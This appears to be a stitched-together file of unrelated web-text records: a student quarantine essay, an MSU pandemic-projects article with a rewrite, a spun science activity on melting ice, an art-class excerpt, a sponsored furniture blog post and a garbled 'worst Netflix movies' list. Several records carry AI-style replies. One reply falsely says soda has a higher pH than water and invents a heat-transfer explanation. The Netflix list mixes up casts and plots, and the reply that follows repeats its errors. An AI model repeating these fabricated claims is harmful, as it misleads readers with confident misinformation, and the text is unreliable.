Now, I’ll admit I’ve never been one for the self-deprecating comments or dark humor. I just can’t keep up. Most of the time I catch myself laughing along with the crowd before realizing almost a full minute later — or tragically having the “a-ha!” moment while thinking about it much later in the shower — what the darker reality of the joke entailed. But I’ve caught myself on more than one night now, turning over the words that he had said in Sacramento again and again moments before drifting off to sleep. Sleep. Time Travel. Depressed. His words had not resonated with me then, but for some reason, they mean something to me now.
I’ve been isolating at home since my high school closed on March 13. I have only gone out for morning walks, grocery runs or meal pick-ups. Heck, I didn’t even get to see my friends for graduation, let alone see most of them before they left for college. And I think I’ve also forgotten how to drive. It’s been more than half a year now, trapped, stuck, tucked away from the outside world. Am I depressed? No. But on recent reflection, it’s got me thinking. Am I using sleep as a form of “time travel” because of perpetual boredom and isolation? I mean I pretty much do the same thing every day. Wake up, eat, do work, exercise, do work, sleep, repeat.
Sure, things have grown quite monotonous. But I’ve also gained a lot from my new life in constant quarantine.
So to all the people who ARE social distancing and feeling the painful side effects of isolation, I’ve got your back. Here’s a brief rundown of why you shouldn’t view sleep as time travel while you’re stuck in quarantine.
Time is precious.
You can do so much. Pick up a new hobby. Find your secret talent. Fewer distractions also mean you also can get your work done more efficiently. Truthfully, I’m still working on this myself; binging “Criminal Minds” whilst balancing my first quarter at Stanford has occupied most of my time during the past few months. Catch me, however, the moment fall quarter ends, committing to creating a fully elaborate dream journal, taking virtual dance classes from Jake Kodish on YouTube, actually learning a new Romantic-era piece by Debussy or Chopin and perhaps maybe — this is a very strong maybe — finally trying to cook something up in the kitchen. Well, either all of that or I’ll still be working on this tip for the entirety of winter break yet again, binging my seemingly never-ending supply of “Criminal Minds” (seriously, there are almost 300 episodes). I’ll have to get back to you on this one.
Dreams are pretty neat.
Both literal dreams and life aspirations. As a lucid dreamer, I savor all the time I have while asleep, messing around in my self-constructed playground where I determine what is reality, where I have control over my destiny. And in the real world? We all now have more time set aside in quarantine to figure out our life aspirations. So take the time to discover who you are and what those dreams of yours may be. Reach out to your family and friends. A conversation about what may seem like nothing could go a long way (literally how this article came to be). Take Octavia Butler, for example. A negative reaction to a poorly done sci-fi movie from the ’50s spurred the passion of a critically-acclaimed Afro-futuristic novelist of the century! I can do it better. And she did. (Some exciting news: Amazon Studios picked up Butler’s sci-fi trilogy series “Dawn” and it’s currently in development!) So take it slow. Your time streaming TV shows and movies might not go to waste! Imagination, creativity and eagerness with a mix of dabbling in film, literature, news articles and so on can help you connect with a newfound passion. Or hit the floor running. Attend those extra Zooms. Alumni career panels, special speakers series featuring the most influential leaders of our society, frosh Friday game nights, all of it. If you even think it, do it. And when better than now? When you’re forced to discover and connect with the person you’re definitely stuck with for the rest of your life: you.
The pandemic will end.
Someday, things will be normal. Although it may be hard to envision a future in which we have the opportunity to hug our friends and loved ones or don’t have to anxiously clutch our face masks when a stranger walks by, we have to believe that the time will come. The Spanish flu pandemic lasted just over two years. And that was with much less knowledge, resources and technology than we have today. So I’m hoping as much as you all that the time comes sooner than later. My fingers are crossed I’ll finally be able to set foot on campus for the winter quarter! But in the meantime, stay safe. Stay patient. Stay motivated.
But why use sleep as time travel anyway? The very purpose of time travel is to go back and change our past in order to modify our present circumstances. But isn’t that what we’re doing every moment of every single day? Are we not constantly shaping our future by making decisions? From things as menial as choosing what pencil to pick up and write with to as life-changing as taking an internship or declaring a major or applying for that new research position, the range of decisions we college students must make can sometimes get overwhelming. We may feel as though we are trapped in a suffocating labyrinth of academic, social and emotional pressures and complexities. And even worse, we’re the ones spinning the never-ending thread like the one Ariadne gave to Theseus, only we’re never truly escaping and instead funneling deeper into our confusion and stress. To put it simply, college is hard. So many decisions. So many consequences from those decisions. In essence, we’re already sophisticated pros at doing the “job” of time travelers. Using sleep as time travel then becomes superfluous since we’re already doing the heart of it unconsciously. All. The. Time. I mean, who’s to say we’re not actually from the future?
Jokes aside, I personally value my sleep a lot. So, if you’re like me in a seemingly perpetual quarantine and have started using sleep as a means of time travel, maybe think of those points I listed for you. Of course, don’t forget about all the wonderful imagined realities your brain will conjure up while you’re dreaming! But more importantly, don’t forget that this phase in your life is incredibly small within the grand scheme of things. This too shall pass.

fineweb_01943684 | fineweb | With the transition to online classes causing a sudden change in students’ and professors’ daily routines, many classes have changed their end-of-semester projects to incorporate the COVID-19 pandemic.
Some classes, instead of doing a final paper or project to assess their knowledge of the course, are creating websites that document the digital history of the COVID-19 pandemic through personal experiences and current events.
“About a week after we moved to virtual classes, I offered students in all of my classes the option of doing an alternative final assignment,” Assistant Professor in the Department of History Erin Graham said. “One of my students ... in my CLS class came up with the idea of writing about their experiences. Then, we talked it through and decided to add the current events component as well, and the website idea emerged out of that.”
“This is really the application of the knowledge that students have learned in their classes thus far,” Graham said. “An assignment like this really reminds us that history is not just heroes and holidays. What we are living through today, both in the United States and around the world, is unique. We’re really in this very unique time. It’s really critical that we are creating contemporaneous records of this time and, at the same time, that students are using the lenses and theories we’ve learned about in class and applying those to make sense of this unique moment in history.”
Other classes, like a Lyman Briggs College course where students choose a group of people affected by COVID-19 — such as small business owners, doctors, nurses and minorities — and analyze how COVID-19 affects them personally.
“COVID-19 actually offered an opportunity ... in that what we wanted out of this last assignment was an occasion for our students to grapple with science as it comes out into the world,” Director of Experiential Learning for Lyman Briggs Issac Record said. “That’s exactly what is happening all around us with COVID-19. We have a lot of uncertainty. We have different sources of information giving us different stories about what’s happening. Different people are focusing on different aspects of the virus and its impact. No one is really certain how this will turn out and in that way, it makes for both a nerve-wracking but also an interesting case to look at.”
Record said he collaborated with three other staff members — academic specialists in Lyman Briggs Arthur Ward and Marisa Brandt and Associate Professor in the College of Arts and Letters Sean Valles — to create a broad final project for all sections of the Lyman Briggs course.
Some professors, like Graham, initially had difficulty learning the technology needed to create a COVID-19 website and sharing that information with her students, Graham said.
Other professors had difficulty determining the logistics of the final assignment, Record said.
Students were initially apprehensive about bringing the discussion of COVID-19 into their classes as they were already being bombarded with COVID-19 news in the media.
“Everything is all on COVID-19, so when they said we were going to do COVID-19, I was like, ‘Oh my god, I cannot do more COVID-19,’” biology freshman Tushya Mehta said. “I was already stressed with everything. But then, when I read the whole project and understood why it was happening, I really liked it.”
Graham said it was important to document this unprecedented time while it is happening not only for people today to relate to, but for future people to understand what was happening.
“I think it’s important for all of us to have a sense of what other people are going through,” Record said. “So this process of documenting helps us to do that. It helps us to exercise our empathy. That’s really important in trying times because our tendency sometimes is to close off and to focus on ourselves. Of course, to some extent, we must do that. We must make sure that we are safe and secure, but it’s important to have structured ways of reaching back out to the world. This assignment ... provides some of that structure.”
“It can be a huge mental toll, but at the same time, to each their own. They can learn how to work with what they have to regain that mental stability to keep going and keep pushing forward,” Lyman Briggs freshman Dalin Roblero said. “Especially with us students who are having classes online, it is very hard to be in an environment where you can’t go out to your classes, you can’t go back to your normal, regular routine. Even when the fall comes, if we can go back to the university, it’s definitely going to teach us many things because we can’t just snap back to how things were.”
The COVID-19 websites foster a sense of community between the students, even though they cannot physically be in the same class, political science senior Erika Ramirez said. Her Chicano/Latinx studies class — which is made up of mostly Chicano or Latinx students — had created a safe space to talk about their struggles and were able to continue doing so with the websites, Ramirez said.

“It was very much a safe space for all of us to be able to try to talk about the social codes of how we have to navigate being on a campus that is majority white,” Ramirez said. “But also being able to talk about the macro and microaggressions that we deal with on a daily basis. ... So, it was kind of cool to be able to be connected with them still and keep in contact and really just continue these conversations.”
The websites are meant to give students the support needed to come to terms with what’s happening around them and allow them to contribute towards getting through the COVID-19 pandemic.

**MSU's Pandemic-Inspired Final Projects Promote Community Understanding**
As the COVID-19 pandemic continues to disrupt daily life, Michigan State University students are finding innovative ways to cope with the crisis. In response to the pandemic, some professors have adapted their final projects to help students process their experiences and connect with their peers.
In one course, students are creating websites that document the digital history of the pandemic through personal experiences and current events. The project, led by Assistant Professor Erin Graham, allows students to apply the knowledge they've learned in class to make sense of this unprecedented time.
"We're really in this very unique time," Graham said. "It's really critical that we are creating contemporaneous records of this time and, at the same time, that students are using the lenses and theories we've learned about in class and applying those to make sense of this unique moment in history."
Another course, offered by Lyman Briggs College, has students analyzing how COVID-19 affects different groups of people, such as small business owners, doctors, nurses, and minorities. The project, led by Director of Experiential Learning Issac Record, aims to help students understand the science behind the pandemic and its impact on individuals and communities.
"We have a lot of uncertainty. We have different sources of information giving us different stories about what's happening," Record said. "Different people are focusing on different aspects of the virus and its impact. No one is really certain how this will turn out, and in that way, it makes for both a nerve-wracking but also an interesting case to look at."
For some students, the pandemic-inspired final projects have provided a sense of community and connection during a time of isolation. "It was very much a safe space for all of us to be able to try to talk about the social codes of how we have to navigate being on a campus that is majority white," said political science senior Erika Ramirez, who is part of a Chicano/Latinx studies class that created a website to document their experiences.
The websites are not only a way for students to process their emotions and experiences but also a way to contribute to the collective understanding of the pandemic. "I think it's important for all of us to have a sense of what other people are going through," Record said. "So this process of documenting helps us to do that. It helps us to exercise our empathy."
As the pandemic continues to evolve, these innovative final projects will provide a unique window into the experiences of MSU students during this challenging time. |

fineweb_01943689 | fineweb | Key conceptsWaterIceChemistrySolutionsPhases of matterIntroductionDo you occasionally dump ice cubes into a drink to assist save cool on a hot summer day? Have you ever before watched the ice cubes melt and also wondered exactly how you could make them melt even more slowly—or also faster? In this science task you will certainly obtain to attempt some different, widespread family substances to attempt and also answer this question: What will aid a solid ice cube rotate right into a liquid puddle the fastest?BackgroundTemperature isn"t the only thing that affects how a liquid freezes—and melts. If you"ve ever made homemade ice cream the old-fashioned way making use of a hand-crank machine, you probably recognize that you require ice and salt to freeze the cream mixture. Similarly, if you live in a cold climate, you"ve probably watched the trucks that salt and also sand also the streets after a snowfall to prevent ice from building up on the roads. In both of these instances salt is lowering the freezing allude of water, which suggests that the water needs to be colder to turn from liquid into ice. For the ice cream maker, the temperature of the ice–salt mixture deserve to get much reduced than if just using normal ice, and this renders it possible to freeze the ice cream mixture. For the salt spcheck out on streets, lowering the freezing point means that ice can melt also when the outdoor temperature is below water’s freezing point. Both of these occasions demonstrate “freezing point depression.”Salt blended with water is an example of a chemical solution. In a solution tright here is a solute (salt in this example) that gets liquified in a solvent (water in this case). When various other substances are combined with water they might additionally reduced its freezing suggest. In this science task you"ll investigate how salt, sand also and sugar affect water"s freezing point.
You are watching: Why does ice melt faster in water than soda
PreparationPrepare (or purchase) some ice cubes if you execute not have actually any type of prepared. They should all be the exact same size and also form.
ProcedureInto each drinking glass area one ice cube. Make sure the ice cube is oriented the exact same means in each glass. (Tip: If you are using ice cubes from a tray, it helps to let the tray sit at room temperature for about five minutes so that the ice cubes even more easily come out of the tray cups and perform not break into pieces.)Carecompletely sprinkle one-quarter teaspoon (tsp.) of salt over the ice cube in one drinking glass. Then sprinkle one-quarter tsp. of sugar over the cube in one more glass and also one-quarter tsp. of sand also over the ice in the third. Do not sprinkle anything over the ice cube in the fourth glass. (It will certainly be your regulate.) How do you think the salt, sugar and also sand also will affect how easily the ice cubes melt?Set the drinking glasses aside somewbelow indoors, out of straight sunlight.Watch the ice cubes over time, checking on them eexceptionally 5 to 10 minutes. After roughly 30 minutes, which cube has melted the most? Which is the initially one to melt completely? Which is the last?Overall, just how perform you think added salt, sugar or sand affects how conveniently the ice melts? Can you explain why this could be?Extra: You can try this task at various temperatures, such as in the refrigerator or external on a warm day. How does adding salt, sugar or sand also to the cubes affect how conveniently they melt once exposed to a hotter or colder environment?Extra: In this task you supplied one-quarter tsp. of each substance, but you can try adding even more or much less. Does the melting rate depend on the amount of the substance added?Extra: Identify some various other substances to test on the ice cubes. Do other substances help melt the cubes more conveniently or execute they finish up melting more slowly?
Observations and also resultsDid the ice cube sprinkled via table salt melt the fastest?In this task you tried adding salt, sugar or sand to ice to check out whether the substance would certainly assist melt the ice. In various other words, you wanted to test whether these substances could show freezing point depression, or the lowering of the ice"s freezing suggest so that it melted into a liquid at a reduced temperature than normal. You have to have checked out that the ice cube through salt sprinkled on it melted faster than any of the other cubes. This is bereason the amount through which the freezing allude is lowered depends on the variety of molecules liquified, yet not their chemical nature. (This is an example of what"s referred to as a "colligative home.") In the very same volume there are more molecules of salt than there are of sugar or sand also bereason the chemical components that make up the salt are much smaller sized than the sugar or sand also.

I'm happy to help you with your question! However, I have to say that the answer is a bit more complicated than a simple "yes" or "no."
Ice melts faster in water than in soda because of the way that the molecules of the two substances interact with each other. In water, the molecules are arranged in a specific way that allows them to easily transfer heat from the ice to the surrounding water, which helps to melt the ice more quickly. In soda, the molecules are arranged differently, which makes it more difficult for them to transfer heat and melt the ice.
But that's not the only reason why ice melts faster in water than in soda. The pH level of the two substances also plays a role. Water has a neutral pH level, which means that it has a balanced amount of acid and base molecules. Soda, on the other hand, has a higher pH level, which means that it has a higher concentration of base molecules. This can affect the way that the molecules interact with each other and with the ice, which can also impact the rate at which the ice melts.
So, to summarize, the reason why ice melts faster in water than in soda is because of the way that the molecules of the two substances interact with each other, as well as the pH level of the substances. |

Salinger’s relationships with ladies far younger than himself; touched on whether or not struggle trauma excuses excesses; introduced up the difficulty with nostalgia; thought-about R. Someone else said the query reminded them of Kevin Spacey — if we give him display time once more, isn’t it the identical as giving him energy? Yet, countered another pupil, lots of us spend cash on Amazon, despite understanding that many of its staff say they’re badly handled. The class, often, is about 20 college students, a lot of them female. The majority, Favorite assumes, stand firmly to the left ideologically, this being an art faculty and all. Yet at occasions their arguments, in a special period, might have been sounded fairly conservative. If you consider an art college as one of many entrance traces of this nation’s perpetual tradition wars, Favorite’s college students are those rarest of members — they stroll the middle ground. |
It seems like you're discussing a class at an art college, and the students are debating the ethics of giving a platform to artists who have been accused of misconduct. The class is discussing the work of J.D. Salinger, and the students are considering whether his relationships with younger women excuse his behavior. They're also touching on the idea of nostalgia and whether it's okay to revisit the work of artists who have been accused of wrongdoing.
One student mentions Kevin Spacey, saying that if we give him screen time again, it's the same as giving him power. Another student counters that many people spend money on Amazon despite knowing that its employees are mistreated.
The class seems to be divided on the issue, with some students taking a more conservative stance and others standing firmly to the left. The instructor, Favorite, is trying to facilitate the discussion and encourage the students to think critically about the issue.
It's interesting to see how the students are grappling with these complex questions and trying to navigate the gray areas. It's a great example of how art and entertainment can be used to spark important conversations and challenge our assumptions. |

fineweb_01943696 | fineweb | This site publish was written in partnership with AllModern. All thoughts and viewpoints, as always, are my own.
I’m all about on the internet purchasing it’s no exaggeration to say that it’s been my go-to system for buying new products around the earlier number of a long time. But there are some items, in particular items for your house, that just beg to be viewed in particular person. And if we’re getting truthful, I’ve just plain ol’ Missed purchasing at precise retailers! Touching the items, viewing them up shut, chatting with in-store associates… all of people tiny aspects include up!
So when I heard that AllModern was opening their first at any time bodily store correct exterior of Boston, I knew I’d become a regular visitor in no time. I was invited to their opening party in June and it was an absolute enjoyment. Situated at Lynnfield’s MarketStreet procuring centre, the shop is wonderfully laid out and really simple to navigate. I could have quickly put in all day there.
Not long ago we have been on the lookout for a couple modern-day planters to area in entrance of our fence in our driveway that leads to the backyard. But then I came on these modern-day Metal Planters from AllModern and knew we had a winner. I loved the reality that I did not have to drag them to the car or truck, praying that they’d match. Not only that, but observing them in human being was a enormous bonus! They arrived just a few of times right after obtaining! This tech-initial browsing practical experience was outside of effortless and pleasing I wish far more shops were developed this way. (There were being a good deal of smaller grab and go products also of study course!)
In addition to the planters (now loaded with catmint, hostas, and grass), AllModern’s assortment of serving-ware and mugs straight away caught my eye (and are now acquiring snug in our cupboards) I have been searching for a additional modern day aesthetic and these match the invoice. I love these Moonbeam Pilar bowls (excellent for summertime ice cream al fresco) and these mugs are going to be a staple in the early morning.
I’m so enthusiastic that AllModern’s to start with store is so close to property I see lots of extra visits in the coming months for the two myself and clientele. Hope to see you there also! 🙂
Inbound links to merchandise over (planters and mugs gifted by AllModern):

It sounds like you had a great experience at AllModern's new store! It's always exciting to see a brand come to life in a physical space. The planters and mugs you mentioned look lovely, and I can see why you'd want to touch and see them in person before buying.
I completely agree that there are some items that are just better suited to being seen and touched in person. Online shopping is convenient, but there's something special about being able to see the texture, color, and overall aesthetic of a product before making a purchase.
It's great to hear that AllModern's store is well-organized and easy to navigate. I'm sure it's a great resource for people who are looking for modern and stylish home decor items.
I'm curious, what do you think sets AllModern apart from other home decor stores? Is it the selection of products, the prices, or something else entirely?
Also, have you tried shopping at AllModern's online store before? If so, what was your experience like? |

fineweb_01943698 | fineweb | While there are literally hours of new content uploaded to Netflix each day, the worst movies on Netflix are originals. While everyone has a personal preference for entertainment, the critics and fans of Netflix all agree that there are some movies that should be avoided at all costs.
These are the movies that you can watch to get a taste of the quality of the show. To help you decide which Netflix movies to avoid, check out this list of critics' and fans' picks for the worst movies on Netflix.
If you're a fan of the Man of Steel movie franchise, you're probably familiar with the abysmal "Superman IV." While it had potential as a better Superman movie, this isn't it. Its tone, script, and aesthetics are all horrid, and Henry Cavill as the super-strong hero isn't very entertaining. The movie's ending was particularly tepid. Nevertheless, it was still better than many movies on Netflix.
Superman IV is a poorly written film, and the script fails to capture the essence of the character. Its villain is a weak character, and its plot is almost nonexistent. It's also riddled with silly moments, with little to connect the film to the audience. Its villain is a tangential accomplice of evil businessmen, which could have been avoided with a more subtle plot.
While "Superman II" is a better movie, "Superman IV" falls short. Its budget is far below the previous three Superman movies, and it had new producers who didn't care about the fans. Milton Keynes, the British city where the film takes place, is an unlikely location for a Superman film. Similarly, "Superman IV" was shot in a quarry outside Hertfordshire, a place more famous for Doctor Who's Daleks and Cybermen.
Although Superman IV is a flop, there are a few redeeming features to this film. Jon Cryer's performance as Lex Luthor's nephew is highly entertaining, and Mariel Hemmingway's performance as the future love interest is a delight. The Court of Owls has a strong presence in "Batman vs. Robin," which puts a spotlight on the Court of Owls, and Damien Wayne's emotional struggle. It's intense, cerebral, and creepy.

If you want to see a film that won't make you cry, you may be surprised to learn that The Kissing Booth is one of the worst Netflix movies. While this isn't a horror movie, it is a romantic comedy with many obvious mistakes. There's little plot to speak of and very little unique story. While it does feature some nice performances, it is mostly a waste of two hours.
The plot is a clichéd mess, and the characters are not engaging. It is also full of clichés that make the movie predictable and laughable. The main character is a complete dud, but the rest of the cast is just as lifeless. The movie tries to send a message to young female audiences, implying that putting up with emotionally abusive men is part of a healthy relationship. The sexist content is a disservice to the film's audience.
Fans of "The Kissing Booth" probably have a hard time deciding whether to watch it. It has a 17 percent Rotten Tomatoes score and has already been a huge hit on Wattpad. Netflix has pushed the film hard to promote itself, and its star Jacob Elordi and Joey King are both on the list of best acting performers on the site. However, critics say the movie is truly terrible.
The Kissing Booth is a classic teenage movie, with Joey King and Jacob Elordi returning as two rich Malibu teenagers. Their relationship is complicated and rocky, but the film's overly tidy plot devices and pointless montages make it one of the worst movies on Netflix. The story itself is so bland that you will almost certainly never find yourself watching it again.

This movie is exactly what you would expect it to be: crude, vulgar, and idiotic humor. While it may be fun, it's not something you'll enjoy, either. This movie isn't for the whole family. The plot is predictable and it lacks creativity. Whether you like movies like Harold and Kumar or South Park, you'll likely be bored to tears by Workaholics.
In this hard R comedy, the titular trio still work together as hotel housekeepers, but they're on their way to becoming billionaires. While they're working, they take frequent breaks, indulge in drugs, and discuss million-dollar ideas. But these aren't the best movies on Netflix. You'll find a lot of gems in the world of entertainment, and you can get a taste of some of them by checking out this list.
The third movie on the list is the dreary "Game Night." This Netflix original movie stars Adam DeVine and Blake Anderson. The story revolves around three housekeepers in Las Vegas who work together to develop a video game. But when their investor is kidnapped, the three of them become heroes. The movie is nothing more than a subpar remake of 'Die Hard'.
Game Over, Man! is another bad movie on Netflix. It's the latest flop from the writers of Workaholics, which ended its seventh season last year. Game Over, Man! looks to tap the same comedic energy that made the first two movies a cult classic. This comedy series has also been renewed for a seventh season. If you love Workaholics, you shouldn't miss Game Over, Man!

The Silence is one of the worst movies you can watch on Netflix. It's similar to "A Quiet Place" and features Kiernan Shipka and Stanley Tucci, but it's thoroughly bad. And I don't even want to get into the terrible writing - what's the point of a great screenplay if the script is so bad? And what's worse is the lack of direction, which makes the movie feel as if it's just wandering around aimlessly?
Netflix uploads a lot of content every day, including original movies. While they're not always perfect, many of these titles are watched by many people. That said, entertainment is subjective, and you should make your own judgment based on your own experience. This list features movies that critics and fans agree are the worst Netflix originals. You'll be happy to know that there are still many good movies on Netflix, which makes it all the more enjoyable to discover them.
Those who have never seen the original are likely to want to pass on this film. Its premise is a little vague, but its set designs and cinematography are excellent. But its plot is incredibly thin, and the characters are poorly developed. That's the main problem with this film. This is why it's one of the worst movies on Netflix. And yet, it's still worth watching, even if it's awful.
Another low-rated Netflix horror movie is "The Open House." Starring Dylan Minnette and Piercey Dalton, The Open House is an obnoxious flick that follows a young mother and her son as they move into a friend's house to care for it until it sells. While the house may seem haunted and the mother and son have a very interesting relationship, it's a slow-cooking film with an undeserved payoff and gruesome ending.
If you're looking for a great comedy with a few sexy scenes, you'll love Package, a Netflix film starring Charlize Theron and Karl Glusman. The story follows four friends who go on an extended hiking trip, and one of them cuts off his penis. The rest of the friends try to get him medical help, but the result is an explosive climax. This movie is a good time for any movie buff, but it might not be appropriate for family audiences.
The list of Netflix dirty movies is extensive and constantly growing, so there's something for everyone. Whether you're looking for sexy indie movies or notorious erotic art dramas, you're sure to find something to suit you. There's even a section for unrated movies, so you can watch movies that are not suitable for theaters. In addition to that, Netflix has a section with NSFW and TV-MA content.
There are many different movies on Netflix that feature nudity, including lesbian and gay films. There are also many films featuring sexy scenes in them. Regardless of whether you're looking for something a bit more subversive, Netflix has plenty to offer. Just remember to check the rating! This is especially important for those who have a sensitive nature. If you're a person who is uncomfortable with explicit sexual content, it's best to stay away from Netflix.
365 Days is one of Netflix's biggest hits. The film follows a mafia don who imprisons his captive love interest Laura for a year. During this time, she develops a love life with him. While it's not the sexiest movie, the sexy scenes make up for the fact that this film has a plot twist that will leave you a bit uncomfortable.
There are many amazing movies and TV shows on Netflix that are enjoying quite a reputation, however, there are also some movies that are complained about by many as well. In order to help you avoid those terrible movies, we've collected the top 5 worst movies on Netflix in this article, but it is your decision to skip or not.
If you don't want to skip them, it's also okay, you can watch them anytime online when you are free, you can also use a Netflix video downloader software from a 3rd-party to download them on your computer and keep the downloads for as long as you want to keep them. |
I completely agree with you! While Netflix has a vast library of great movies and TV shows, there are some that are, well, not so great. It's always helpful to have a list of the worst movies on Netflix to avoid wasting your time on something that might not be enjoyable.
I must say, I'm a bit surprised to see "Superman IV" on the list. I mean, it's not the best Superman movie, but it's still a classic in its own right. And "The Kissing Booth" is definitely a guilty pleasure for many people, even if it's not the most critically acclaimed movie.
As for the other movies on the list, I can see why they might be considered some of the worst on Netflix. "Game Night" is definitely a disappointing movie, and "The Silence" is a bit of a mess. And "365 Days" is definitely a controversial movie, to say the least.
But hey, at the end of the day, it's all about personal taste. If you enjoy a particular movie, then that's all that matters. And if you're looking for something new to watch, you can always check out the top-rated movies on Netflix or explore different genres to find something that suits your taste.
